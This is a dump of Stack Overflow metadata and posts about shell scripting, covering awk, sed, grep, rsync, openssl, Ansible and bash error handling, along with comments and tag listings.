has comment: http://stackoverflow.com/comment/135507426
has comment: http://stackoverflow.com/comment/135506919
type: Answer
has comment: http://stackoverflow.com/comment/135507211
accepted answer of: http://stackoverflow.com/q/76864396
score: 0
has body: If: your CSV is simple (no quoted fields containing commas, one line per record...), and each record has exactly the same number of fields, and you specify the desired output order with exactly the same number of fields, you can try (with any POSIX awk, tested with GNU awk and the awk that comes with macOS, output prefixed with -| ): awk -F, -v OFS=, -v o='PRODUCTCODE,LV1P_DESCRIPTION,BATCHID,SITE' ' BEGIN {n=split(o,h)} NR==1 {print o; for(i=1;i<=n;i++) a[$i]=i; next} {for(i=1;i<=n;i++) printf("%s%s", $(a[h[i]]), i==n?"\n":OFS)} ' foo.csv -| PRODUCTCODE,LV1P_DESCRIPTION,BATCHID,SITE -| PRD-0989,Estract,BATCH01,Static -| PRD-0990,Xstract,BATCH02,Static -| PRD-0991,8stract,BATCH03,Static -| PRD-0992,errs,BATCH04,Static -| PRD-0993,dgerrr,BATCH05,Static -| PRD-0994,Narros,BATCH06,Static -| PRD-0995,sef3r,BATCH07,Static Set comma as input and output field separators (-F, -v OFS=,). Pass desired output order as variable o (-v o='...'). In BEGIN block split variable o on input fields separator, store the result in array h and the number of columns in variable n. For the first line store in array a the fields as keys and the field numbers as values (a[$i]=i). Go to next line (next). For the other lines print the n first fields in desired order ($(a[h[i]])), followed by the output field separator except the last that is followed by a newline. If the desired output order is stored in the first line of another file, say bar.csv: awk -F, -v OFS=, ' NR==1 {o=$0; n=split(o,h); next} NR!= FNR && FNR==1 {print o; for(i=1;i<=n;i++) a[$i]=i; next} {for(i=1;i<=n;i++) printf("%s%s", $(a[h[i]]), i==n?"\n":OFS)} ' bar.csv foo.csv NR==1 is true only for the first line of the first file. NR!= FNR && FNR==1 is true only for the first line of the second file.
has comment: http://stackoverflow.com/comment/135507914
has comment: http://stackoverflow.com/comment/135506931
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76864396
has comment: http://stackoverflow.com/comment/135506963

http://stackoverflow.com/comment/135497970
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76859636
score: 0
has text: @KamilCuk - I have updated the question correctly

http://stackoverflow.com/comment/135368864
score: 0
has text: Yes, so your answer is wrong: the right command to avoid using dash's builtin is: `/usr/bin/echo \\n` (not `echo \\n`)!
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76785210

http://stackoverflow.com/comment/135473571
has text: @jhnc thanks, then how can I achieve this functionality. any idea
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76845788

http://stackoverflow.com/comment/135304708
type: QuestionComment
has text: Your script isn't doing any replacements because the `^` in `s/^Mr` is telling sed to only match `Mr` at the start of the line while you need to match mid-line and the `.*$` is telling sed to match til the end of the line while you need to only match til the end of the word.
type: Comment
comment on: http://stackoverflow.com/q/76747469
score: 1

http://stackoverflow.com/comment/135406735
comment on: http://stackoverflow.com/q/76806494
has text: Perhaps I'd use `mv *.{doc,docx",pdf,txt} documents` or `docs='doc\|docx\|pdf\|txt'; find -type f -regex ".*\($docs\)" -exec mv {} documents`.
score: 1
type: QuestionComment
type: Comment

pass-by-reference
tag name: pass-by-reference
tags question: http://stackoverflow.com/q/76843593
type: Tag

http://stackoverflow.com/comment/135410919
type: Comment
has text: You may want to try this: find -E ./assets -regex '.*\.(png|jpg)' on a Mac. You need to specify option `-E`, which tells command `find` to interpret regex as extended (modern) regex rather than basic one.
score: 0
comment on: http://stackoverflow.com/q/76809700
type: QuestionComment

http://stackoverflow.com/a/76840641
accepted answer of: http://stackoverflow.com/q/76840291
has body: It seems basename command returns a serval part split by space and ${var%.*} command works on each part. Pretty much, yes. From the documentation on command substitution: If the substitution is not enclosed in double quotes, the output is broken into words using the IFS parameter. And from the section on parameter expansion talking about pattern deletion and substitutions: ... when name is an array and the substitution is not quoted, or if the (@) flag or the name[@] syntax is used, matching and replacement is performed on each array element separately. So that's the situation you're running into with the unquoted command substitution. Its output is broken up into words and each word is checked for a matching pattern to delete.
has comment: http://stackoverflow.com/comment/135465711
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/76840291
type: Answer

http://stackoverflow.com/q/76864756
has title: Unable to push due to git status deleted files?
type: Question
tagged with: shell
score: -3
tagged with: git
has answer: http://stackoverflow.com/a/76864813
type: UnansweredQuestion
favorite count: 0
has answer: http://stackoverflow.com/a/76864814
has answer: http://stackoverflow.com/a/76864822
has body: I will be straightforward. My professor guided us at pushing our very first text file to the git website. She then gave us an individual activity where we will push another, but should only use git add., git commit -m "text", and git push origin master (that is what she said because that's all we have to use). Whenever I use git status, the image below shows up which probably hinders my ability to push. Any tips on how I can fix this? I tried git checkout -- and doing the suggested command which is git restore . When doing both, it just generated another command line, and when we confirmed it using git status, it is still there.
tagged with: command
downvote count: 4
tagged with: bash
upvote count: 1
answer count: 3

http://stackoverflow.com/comment/135539469
has text: "Technically speaking", if you document that the parent process is expected to connect a child's stdout to a FIFO, read that FIFO and parse it's contents, that's a calling convention every bit as much as "register a will contain the output" or "the output will be left on the stack at position X" is a calling convention. I can be pedantic with the best of them, but the hair you're trying to split makes no sense.
comment on: http://stackoverflow.com/a/76855717
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/76764965
has answer: http://stackoverflow.com/a/76766636
has body: I am creating a shell script to look for a pattern in strings. Will "grep" search strings? or will it only search in files? # does this work and will grep find the pattern? line="INSERT INTO something VALUES('v1',v2','UPLOAD_REQUEST_RESULTS_DOWNLOADED',1,'v3','2023-07-15 23:36:53.0')" val=$(grep -Ec --regexp='INSERT INTO something*[UPLOAD_REQUEST_RESULTS_DOWNLOADED, UPLOAD_REQUEST_CANCELLED].*[0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\}\.[0-9]' --file=$line) echo "$val" If not, how do I search for a pattern (using regex) in a string in shell script? The thing is, I am iterating line-by-line in file which is why I am searching a line. I only have to modify specific lines.
has title: Can "grep" find regex match in strings? or will it only search through files?
accepted answer: http://stackoverflow.com/a/76764989
answer count: 2
tagged with: bash
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135337231
possible better answer: http://stackoverflow.com/a/76766636
has answer: http://stackoverflow.com/a/76764989
has comment: http://stackoverflow.com/comment/135333628
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135341307

http://stackoverflow.com/comment/135376653
comment on: http://stackoverflow.com/q/76789602
score: 0
type: QuestionComment
has text: in gnu make syntax `@for n in $(subst $(lastword $(number)),,$(number)); do echo $$n; done` will print all elements excepting the last one. Btw, it's easier to do in shell
type: Comment

http://stackoverflow.com/comment/135349137
type: Comment
has text: @CharlesDuffy the problem is that I always get answers or hints I don't want. I am asking a specific question about echoing #!/bin/bash in a file. not about -e option. You don't know the background of this question which is much more than just echoing. I am aware of -e option AND I know it is available at target env. Its like I am asking a boost question and some comes up "why not use libX instead of boost". Just read the question and do not asume other hints or answer than the one asked for
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76771421

http://stackoverflow.com/comment/135374846
type: Comment
comment on: http://stackoverflow.com/q/76781400
score: 0
has text: @ Romeo Ninov Did not think about it, because the goal is relatively simple. I thought is could be done simply with a script without a database. But, if you have any concrete suggestions on your method with a simple use of a database, highly appreciated. Thanks!
type: QuestionComment

http://stackoverflow.com/comment/135425015
type: AnswerComment
comment on: http://stackoverflow.com/a/76817864
has text: @SixSigmaGuy, did you use the three backticks to create a code block? Per the [SO style guide](https://stackoverflow.com/help/formatting)?
score: 0
type: Comment

http://stackoverflow.com/comment/135262243
has text: consider a web search (eg, `awk thousands separator`) ... lots of hits including SO/SE/sister sites (eg, [this](https://unix.stackexchange.com/q/249116) or the [GNU awk manual](https://www.gnu.org/software/gawk/manual/html_node/Format-Modifiers.html)
comment on: http://stackoverflow.com/q/76722348
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135364271
has text: Did my example above help in writing these in a single string.
score: 0
comment on: http://stackoverflow.com/q/76781297
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135349780
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76774173
has text: @Barmar yeah I want to use sed. using grep -v I've done it.
type: QuestionComment

http://stackoverflow.com/comment/135371999
score: 0
comment on: http://stackoverflow.com/q/76785108
type: QuestionComment
type: Comment
has text: Hi @Jetchisel, Thanks for replying back. But am blocked. Don't know how to start with the solution. Its just that I have declared arrays :) New to stackoverflow so unsure about proper formatting but the desired output can be found in my above comment. Bash should be able to create an output file having 2 lines in it. 1st line (3 Array1) 2nd line (9 Array2) i.e value and the array name in which it is present.

http://stackoverflow.com/q/76739984
type: UnansweredQuestion
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/76752351
has body: I am trying to convert my current OPENSSL code to python in Azure databricks which decrypts the encrypted file using RANDOM key and uses AES-256-CBC algorithm. File is shared by source team which is encrypted using the unix shell command. I tried to convert the code to python using subprocess module but facing this bad decrypt error. Is it due to platform constraints? Any help on understanding why shell script to decrypt is working fine but similar code written in python is throwing error. Following code is working fine in shell and able to decrypt the file contents. RANDOMKEYFILE= "RANDOM.key" #Command used to create random key file openssl rand -base64 128 > $RANDOMKEYFILE #Command used to encrypt the file openssl enc -md md5 -aes-256-cbc -a -salt -in <data_file.csv> -out <encrypted_file.csv.dat> -pass file:$RANDOMKEYFILE #Command to decrypt the file openssl enc -d -a -aes-256-cbc -in <encrypted_file.csv.dat> -out <decrypted_data_file.csv> -pass file:$RANDOMKEYFILE Python code to perform similar decryption #openssl version on Azure databricks: #OpenSSL 1.1.1f 31 Mar 2020 import subprocess def run_openssl_command( input_file, output_file, random_key_file): # Constructing the openssl command openssl_cmd = [ "openssl", "enc", "-d", "-a", "-aes-256-cbc", "-in", encrypted_input_file, "-out", output_decrypted_file, "-pass", f"file:{random_key_file}" ] # Run the openssl command result = subprocess.run(openssl_cmd, capture_output=True, text=True) # Check if the command ran successfully if result.returncode == 0: print("Decryption completed successfully.") else: print("Error occurred during decryption:") print(result.stderr) if __name__ == "__main__": encrypted_input_file = "<encrypted_file.csv.dat>" output_decrypted_file = "<decrypted_data_file.csv>" random_key_file = "RANDOM.key" run_openssl_command( encrypted_input_file, output_decrypted_file, random_key_file) Error from this execution: Error occurred during decryption: *** WARNING : deprecated key derivation used. Usin…
tagged with: python-cryptography
tagged with: openssl
score: 1
has title: Python implementation causing Error in decryption of encrypted file encrypted using openssl enc -md md5 -aes-256-cbc
upvote count: 1
tagged with: azure-databricks
type: Question
tagged with: shell

http://stackoverflow.com/a/76771154
score: 3
type: AcceptedAnswer
upvote count: 3
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76770023
type: Answer
has body: Version numbers are not mathematical numbers. Bash does not have a built-in way to compare version numbers. The sort command has -V for comparing version numbers and -C for reporting whether a file is correctly sorted. You can use this with Bash‘s <<< feature to pass immediate input to a command: #!/bin/bash -e A="2.38.0" B="2.3.1" if sort -C -V <<<"$A"$'\n'"$B"; then echo "A is earlier than or the same as B." else echo "A is later than B." fi The $'\n' syntax is a Bash feature for producing a new-line character. Bash allows you to negate the test with a ! before the command: if ! sort -C -V <<<"$A"$'\n'"$B"; then Note that sort will report “2.38” is earlier than “2.38.0”.
answers question: http://stackoverflow.com/q/76770023

http://stackoverflow.com/comment/135614897
comment on: http://stackoverflow.com/q/76854223
type: QuestionComment
type: Comment
has text: Why is a mount point longer than 79 chars?
score: 0

http://stackoverflow.com/comment/135262726
has text: Have you to use `awk` AT ANY PRICE or are you accepting using other tools?
comment on: http://stackoverflow.com/q/76722348
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135441151
type: Comment
comment on: http://stackoverflow.com/q/76825083
score: 0
type: QuestionComment
has text: Please make it clear: The `chmod AnswerDebug.sh` does NOT produce an error, but `bash AnswerDebug.sh` DOES produce an error? In this case, we need to see the **exact** error message. One possibility would be that AnswerDebug.sh has no _read_ permission. In this case, you would change the unnecessary `chmod +x` into `chmod +r`.

http://stackoverflow.com/q/76786021
tagged with: kotlin
score: 0
has title: Shell script crashes and does not print to file?
type: Question
tagged with: shell
answer count: 0
type: UnansweredQuestion
tagged with: ktor
has comment: http://stackoverflow.com/comment/135371319
has comment: http://stackoverflow.com/comment/135371105
has comment: http://stackoverflow.com/comment/135370943
has comment: http://stackoverflow.com/comment/135370314
tagged with: java
has comment: http://stackoverflow.com/comment/135370506
has body: I am managing a VPS in which I want to keep running a JAR file which is acting as a secure websocket server. I am noticing that the VPS/CentOS is closing my wss when RAM usage reaches 850+MB because the max allowed RAM is 1GB for my plan. I do plan on increasing the plan to higher RAM when launching for production, but I have a problem that my shell script is not printing to log file what it is supposed to. Here is my wss_service.sh #!/bin/bash check=true while [ "$check" = true ] do startS=$(date +%s) dates=$(date '+%d-%m-%Y_%H-%M-%S') name="WSS_ServerJar_" new="$name$dates" files="./Log/$new.log" touch $files echo $files >> $files 2>&1 echo "*** WSS Server started ***" >> $files 2>&1 java -jar WSS_Server.jar >> $files 2>&1 sleep 5 echo "*** JAR Crashed ***" >> $files 2>&1 endS=$(date +%s) diff=$(($endS-$startS)) echo "diff=$diff; startS=$startS; endS=$endS;" >> $files 2>&1 pass=120 if (( pass > diff )); then check=false echo "Failed in short time: $diff" >> $files fi done Here is what is printed in the log file when the system closes my WSS due to RAM usage limit: ./Log/WSS_ServerJar_28-07-2023_01-35-13.log *** WSS Server started *** 2023-07-28 01:35:14.874 [main] INFO Application - Autoreload is disabled because the development mode is off. Inside Application 2023-07-28 01:35:15.982 [main] INFO Application - Application started in 1.162 seconds. 2023-07-28 01:35:16.655 [main] WARN i.netty.util.internal.MacAddressUtil - Failed to find a usable hardware address from the network interfaces; using random bytes: a5:f2:64:ba:ab:26:51:3f 2023-07-28 01:35:16.823 [DefaultDispatcher-worker-2] INFO Application - Responding at https://0.0.0.0:1234 2023-07-28 03:46:32.491 [KtorShutdownHook] TRACE io.ktor.server.websocket.WebSockets - Shutdown WebSockets due to application stop 2023-07-28 03:46:32.494 [main] TRACE io.ktor.server.websocket.WebSockets - Shutdown WebSockets due to application stop Here is what is printed if I manually crash the shell script by ctrl+C or even from…
has comment: http://stackoverflow.com/comment/135370498

http://stackoverflow.com/a/76791182
score: 1
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76788674
has body: find . -name "P*_*.fq.gz" | xargs -n2 -d'\n' | while read file1 file2; do echo "processing $file1 and $file2"; done processing ./P10_1.fq.gz and ./P10_2.fq.gz processing ./P11_1.fq.gz and ./P11_2.fq.gz processing ./P1_1.fq.gz and ./P1_2.fq.gz processing ./P21_1.fq.gz and ./P21_2.fq.gz processing ./P22_1.fq.gz and ./P22_2.fq.gz processing ./P2_1.fq.gz and ./P2_2.fq.gz processing ./P30_1.fq.gz and ./P30_2.fq.gz processing ./P3_1.fq.gz and ./P3_2.fq.gz

http://stackoverflow.com/q/76790012
answer count: 1
has answer: http://stackoverflow.com/a/76790031
has comment: http://stackoverflow.com/comment/135376714
has comment: http://stackoverflow.com/comment/135376815
has comment: http://stackoverflow.com/comment/135376769
tagged with: bash
has comment: http://stackoverflow.com/comment/135376717
has comment: http://stackoverflow.com/comment/135376759
has title: Variable and argument in a bash script: could you explain the behaviour and find a way to get it work as I expect
has body: Just wondering if any bash expert could help we in finding a way to get the same behavior in both cases for the 2 results in the code below. I'd like to be able to get the same result I have with the variable (result1) but by passing an argument (result2). Maybe it is just not possible whatever the argument... The code #!/bin/sh var1=&quot;$(ls)&quot; echo -------var1------- echo $var1 var2=$1 echo -------var2------- echo $var2 # execute ls with variable result1=$(file ${var1}) # execute ls with script argument result2=$(file ${var2}) echo ------ result1 ------ echo $result1 echo --------------------- echo ------ result2 ------ echo $result2 echo --------------------- The command and the result &gt;./test.sh '$(ls)' -------var1------- myzipfile.zip test.sh -------var2------- $(ls) ------ result1 ------ myzipfile.zip: Zip archive data, at least v2.0 to extract test.sh: POSIX shell script, ASCII text executable --------------------- ------ result2 ------ $(ls): cannot open `$(ls)' (No such file or directory) ---------------------
tagged with: scripting
has comment: http://stackoverflow.com/comment/135376721
has comment: http://stackoverflow.com/comment/135376823
has comment: http://stackoverflow.com/comment/135376788
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135376794
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/comment/135259670
comment on: http://stackoverflow.com/q/76720948
type: QuestionComment
type: Comment
score: 0
has text: If you don't want to exit the script on failure, then yeah, don't use `-e`. If you want to retrieve the status code in order to log it before exit, you could use traps, like [in this question](https://stackoverflow.com/questions/35800082/how-to-trap-err-when-using-set-e-in-bash)

http://stackoverflow.com/comment/135364085
type: QuestionComment
has text: You are already passing an asterisk, that's the problem. You want to *not* pass an asterisk, and instead pass each filename individually, as in `cp source/file1 source/file2 destination`. When you write `cp source/* destination` in a terminal, the shell will rewrite it into `cp source/file1 source/file2 destination` before executing the command, and if it didn't you'd get the same error message.
comment on: http://stackoverflow.com/q/76782298
score: 0
type: Comment

http://stackoverflow.com/q/76816367
has answer: http://stackoverflow.com/a/76840112
type: Question
tagged with: proxmox
answer count: 1
has comment: http://stackoverflow.com/comment/135446548
tagged with: cloud-init
tagged with: shell
downvote count: 0
has title: Creating cloud-init images on Proxmox using Ansible shell command fails, while shell script works?
type: UnansweredQuestion
score: 1
tagged with: ansible
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135423111
has body: I am trying to automate the creation of VM cloud image templates on my Proxmox server using Ansible. If I execute the commands in a shell script it always works. If I execute the same commands (with multiple item expansion) in the Ansible shell module, it fails, and I'm not sure why, my guess is timing. Test.sh: #!/bin/bash set -e qm unlock 1003 || true qm destroy 1003 || true qm create 1003 \ --name test-template \ --tags test1,test2 \ --memory 4096 \ --cores 2 \ --net0 virtio,bridge=vmbr1 \ --scsihw virtio-scsi-pci \ --ciuser pieter \ --cipassword Password1 \ --searchdomain home.insanegenius.net \ --sshkeys /data/install/images/ssh_keys \ --ipconfig0 ip=dhcp \ --ostype l26 \ --agent 1 virt-customize -a /data/install/images/debian-12-genericcloud-amd64.qcow2 --install qemu-guest-agent qm set 1003 --scsi0 vmdata:0,import-from=/data/install/images/debian-12-genericcloud-amd64.qcow2 --boot order=scsi0 --ide2 vmdata:cloudinit qm resize 1003 scsi0 8G qm template 1003 Run test.sh: pieter@server-1:~/HomeAutomation$ sudo ./test.sh [sudo] password for pieter: [ 0.0] Examining the guest ... [ 4.0] Setting a random seed virt-customize: warning: random seed could not be set for this type of guest [ 4.0] Installing packages: qemu-guest-agent [ 6.5] Finishing off update VM 1003: -boot order=scsi0 -ide2 vmdata:cloudinit -scsi0 vmdata:0,import-from=/data/install/images/debian-12-genericcloud-amd64.qcow2 ide2: successfully created disk 'vmdata:vm-1003-cloudinit,media=cdrom' transferred 0.0 B of 2.0 GiB (0.00%) transferred 20.5 MiB of 2.0 GiB (1.00%) ... transferred 2.0 GiB of 2.0 GiB (100.00%) scsi0: successfully created disk 'vmdata:vm-1003-disk-0,size=2G' generating cloud-init ISO pieter@server-1:~/HomeAutomation$ Ansible playbook: --- # Create Cloud-Init templates # https://pve.proxmox.com/wiki/Cloud-Init_Support # Install libguestfs # https://docs.ansible.com/ansible/latest/modules/apt_module.html - name: "Install libguestfs" apt: name: ["libguestfs-tools"] state: latest update…

http://stackoverflow.com/comment/137631979
score: 0
type: Comment
type: AnswerComment
has text: @JamesFoster that's just annoying of them! I'm glad they got it right eventually, and I suppose you got your answer sooner or later, but OMG!
comment on: http://stackoverflow.com/a/77929242

azure-devops
tag name: azure-devops
type: Tag
tags question: http://stackoverflow.com/q/76771604
tags question: http://stackoverflow.com/q/76753350
tags question: http://stackoverflow.com/q/76762779
tags question: http://stackoverflow.com/q/77574351
tags question: http://stackoverflow.com/q/77878115
tags question: http://stackoverflow.com/q/78033494
tags question: http://stackoverflow.com/q/78108004
tags question: http://stackoverflow.com/q/78218860
tags question: http://stackoverflow.com/q/78837396
tags question: http://stackoverflow.com/q/78951989
tags question: http://stackoverflow.com/q/79517540

http://stackoverflow.com/a/76888960
accepted answer of: http://stackoverflow.com/q/76857017
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76857017
upvote count: 1
type: Answer
has body: This script worked for me. Prerequisites are xdotool. sudo apt-get install xdotool RunServer.sh cd backend code . & sleep 2 # Maximize the VS Code Window xdotool key Super_L+Up & sleep 2 # Open New VS Code Integrated Terminal xdotool key Control_L+asciitilde & sleep 2 xdotool type "python3 manage.py runserver" && xdotool key Return & cd .. cd frontend code . & sleep 2 xdotool key Super_L+Up & sleep 2 xdotool key Control_L+asciitilde & sleep 5 xdotool type "ng serve --open" && xdotool key Return Optional: You can modify this script according to your directory and add commands to run the virtual environment. I added an option of 'Run Script' to the context menu of Nautilus (Ubuntu File Manager). Refer to this answer. /usr/share/applications/run-script.desktop [Desktop Entry] Name=Run Script Exec=gnome-terminal -e "%U" Terminal=false Type=Application MimeType=text/plain;application/x-shellscript; Drawbacks: The time required to open VS Code varies from PC to PC and Repository to repository, so some might have to adjust the sleep time. Edit: (More robust script) code /home/user/Desktop/frontend code /home/user/Desktop/backend gnome-terminal --maximize -- bash -c "cd /home/user/Desktop/frontend;pwd;ng serve;exec bash" gnome-terminal --maximize -- bash -c "cd /home/user/Desktop/backend; source .venv/bin/activate;pwd;python3 manage.py runserver;exec bash"
downvote count: 0

typescript
tags question: http://stackoverflow.com/q/76782298
tag name: typescript
type: Tag
tags question: http://stackoverflow.com/q/77702307
tags question: http://stackoverflow.com/q/79395079
tags question: http://stackoverflow.com/q/79297176

http://stackoverflow.com/comment/135414498
comment on: http://stackoverflow.com/a/76811134
type: Comment
type: AnswerComment
has text: This is the rest of the error message: `-XX:FlightRecorderOptions=stackdepth=256 -XX:+UnlockDiagnosticVMOptions -XX:+DebugNonSafepoints --add-opens=java.base/java.nio=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/sun.nio.ch=ALL-UNNAMED -Dlog4j2.disable.jmx=true -Dfile.encoding=UTF-8 org.neo4j.cli.AdminTool database dump neo4j --to-path=D:\neo4j_library_5.10" --verbose Unmatched argument at index 4: ' --verbose'`
score: 0

http://stackoverflow.com/comment/135344916
score: 0
has text: Ok, please check you syntax of file -> probably it needs fi, or then near 289 line. May you share the last logic block from this file?
comment on: http://stackoverflow.com/a/76771280
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135463933
type: AnswerComment
has text: Also, I tried compare on the jpg and a PDF created using ImageMagick and a PDF created using the MacOS `CreatePDF`utility, but I didn't get a difference. Yet I clearly see it. And I'm using Preview for images and PDFs.
comment on: http://stackoverflow.com/a/76839623
type: Comment
score: 0

http://stackoverflow.com/a/76839636
has body: Also works fine for me. If I convert the JPG to PDF with IM, display both using the same file viewer (Okular) Take a screenshot that includes these two image viewer windows Measure the blue in each window in the screen shot I get the very same color on both sides. If you use different apps to check the JPG and the PDF, the PDF viewer could be adding "pop" to the image.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76839109

http://stackoverflow.com/q/76774173
upvote count: 0
accepted answer: http://stackoverflow.com/a/76774857
tagged with: linux
tagged with: bash
has comment: http://stackoverflow.com/comment/135350277
has body: I've a file in which I want to delete the line which is matching with the entire string using sed. Content of my file test.txt test.pwd=test@123 test.pwd.path=/tmp/test test.pwd1.sample=123 I've tried with the below sed command but it's deleting the line which is matching with that pattern sed -i "s/test.pwd/d" test.txt instead of deleting only line 1 it's deleting the first two lines
has comment: http://stackoverflow.com/comment/135349902
has comment: http://stackoverflow.com/comment/135349788
has comment: http://stackoverflow.com/comment/135349806
favorite count: 0
has comment: http://stackoverflow.com/comment/135349480
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76774857
has answer: http://stackoverflow.com/a/76774648
has comment: http://stackoverflow.com/comment/135349499
score: -1
tagged with: sed
possible better answer: http://stackoverflow.com/a/76774648
has title: Delete a line which is matching with the entire string using sed
has comment: http://stackoverflow.com/comment/135349951
has comment: http://stackoverflow.com/comment/135349467
type: Question
has comment: http://stackoverflow.com/comment/135349780
has comment: http://stackoverflow.com/comment/135349770
tagged with: shell
has comment: http://stackoverflow.com/comment/135349931
has comment: http://stackoverflow.com/comment/135349748
has answer: http://stackoverflow.com/a/76828846
linked to: http://stackoverflow.com/q/29613304
tagged with: unix
answer count: 3
has comment: http://stackoverflow.com/comment/135349863

http://stackoverflow.com/comment/135500282
has text: Also, note that `test -a` and `test -o` are both deprecated. It's better form to write `if [ "$reply" -lt 200 ] || [ "$reply" -ge 400 ]`, two separate test statements; see https://pubs.opengroup.org/onlinepubs/9699919799/utilities/test.html, and notice the "OB" obsolescence markers.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76861338

http://stackoverflow.com/a/76721404
has comment: http://stackoverflow.com/comment/135261333
has comment: http://stackoverflow.com/comment/135260672
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135261379
has comment: http://stackoverflow.com/comment/135260499
has comment: http://stackoverflow.com/comment/135266550
type: Answer
has comment: http://stackoverflow.com/comment/135260735
has comment: http://stackoverflow.com/comment/135261201
has body: The ! command just negates the current exit code. For instance, after !false, the value of $? would be 0. In your case, rc will always be 0. To retrieve the exit code for later processing, you have to collect it after the command has been executed. If you really insist in using set -e, which IMO is a bad idea, you can do it like this: rc=0 ret=$(some_command) || rc=$? if ((rc > 0)) then echo "<some_command> returned with exit code: $rc" echo "$ret" fi
answers question: http://stackoverflow.com/q/76720948
has comment: http://stackoverflow.com/comment/135261785

http://stackoverflow.com/comment/135423457
has text: @user1934428, You are wrong. I say this as a grey beard who has been programming since the mid 1970's. The article you linked to has serious problems. Using `set -o errexit` is always the appropriate thing to do. You should explicitly handle commands that might exit with a non-zero status where that is not indicative of a fatal error. Rather than implicitly letting commands fail silently and only handle some failures explicitly. Your approach is why there are so many security bugs and unexpected behavior of computer programs.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76815964

http://stackoverflow.com/q/76815964
has comment: http://stackoverflow.com/comment/135422400
type: Question
tagged with: rsync
has comment: http://stackoverflow.com/comment/135421560
has comment: http://stackoverflow.com/comment/135431864
tagged with: shell
has body: I currently have a bash script that helps me rsync a file. # Copy the file over echo "* Downloading: ${TARGET_FILE_NAME}" rsync -vh --progress --stats "$TARGET_FILE_PATH" "$USER_PATH" | exit 1) echo "* Downloading Complete}" However when running the script I only see * Downloading SOME_FILE * Downloading Complete I would love to see the progress of the rsync. I tried rsync .... 2>&1 but I can't seem to get the syntax right. I've also tried : rsync -vh --progress --stats "$TARGET_FILE_PATH" "$USER_PATH" --log-file=/dev/stdout But this still doesn't print anything out. I've also tried: rsync -vh --progress --stats "$TARGET_FILE_PATH" "$USER_PATH" | while IFS= read -r line; do echo " $line" done But this just seems to print once rsync has completed.
has title: How to print the output of rsync when running from within a bash script
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135423353
answer count: 1
has comment: http://stackoverflow.com/comment/135431840
score: 2
has comment: http://stackoverflow.com/comment/135422959
has comment: http://stackoverflow.com/comment/135423457
tagged with: linux
upvote count: 2
has comment: http://stackoverflow.com/comment/135445308
tagged with: bash
has answer: http://stackoverflow.com/a/76883937
favorite count: 0
has comment: http://stackoverflow.com/comment/135424087
has comment: http://stackoverflow.com/comment/135423636

http://stackoverflow.com/a/76866224
answers question: http://stackoverflow.com/q/76864396
score: 0
has body: $ head *file ==> input_file <== PRODUCTCODE SITE BATCHID LV1P_DESCRIPTION PRD-0989 Static BATCH01 Estract PRD-0990 Static BATCH02 Xstract PRD-0991 Static BATCH03 8stract PRD-0992 Static BATCH04 errs PRD-0993 Static BATCH05 dgerrr PRD-0994 Static BATCH06 Narros PRD-0995 Static BATCH07 sef3r ==> order_file <== PRODUCTCODE,LV1P_DESCRIPTION,BATCHID,SITE awk -F' *|,' ' NR==FNR{ for(i=1;i<=NF;i++) a[$i] = i next } FNR==1{ for(i=1;i<=NF;i++) b[i] = a[$i] } { for (i=1;i<=length(b);i++) printf " %s", $(b[i]) print "" } ' order_file input_file | column -t PRODUCTCODE LV1P_DESCRIPTION BATCHID SITE PRD-0989 Estract BATCH01 Static PRD-0990 Xstract BATCH02 Static PRD-0991 8stract BATCH03 Static PRD-0992 errs BATCH04 Static PRD-0993 dgerrr BATCH05 Static PRD-0994 Narros BATCH06 Static PRD-0995 sef3r BATCH07 Static
type: Answer

http://stackoverflow.com/comment/135441907
comment on: http://stackoverflow.com/q/76825948
score: 0
type: QuestionComment
type: Comment
has text: Notes on this: (1) Don’t use `$` inside an arithmetic expression. There’s no reason for that and it can save some hassle with unset (empty) variables. (2) Use `set -u` to make debugging (even) easier. (3) Don’t use uppercase variable names. They are reserved (by convention) for environment variables, which you don’t want to change by accident.

http://stackoverflow.com/comment/135460023
comment on: http://stackoverflow.com/q/76837122
type: QuestionComment
has text: See if the (currently) last two answer at https://stackoverflow.com/q/7736280/45375 help (running either both your script and Visual Studio with elevation, or neither).
type: Comment
score: 0

http://stackoverflow.com/a/76823094
type: Answer
has comment: http://stackoverflow.com/comment/135434118
has body: So far, the best way I've found is to store the value in a file which all running shells can access, and then write a little wrapper function in my .bashrc that gets/sets the value for any script which needs it. Mine looks something like this: # With one argument, stores the RC value in a file for scripts to access. With no args, reads it out rc() { if [ $# -eq 1 ] then echo $1 &gt; /path/to/.rc else cat /path/to/.rc fi } That can then be called by any script which needs to access it with the syntax $(rc), so if for example you just wanted to print it out you could call echo $(rc) I'm curious to know if there's any better way to do this, though!
has comment: http://stackoverflow.com/comment/135434422
answers question: http://stackoverflow.com/q/76823093
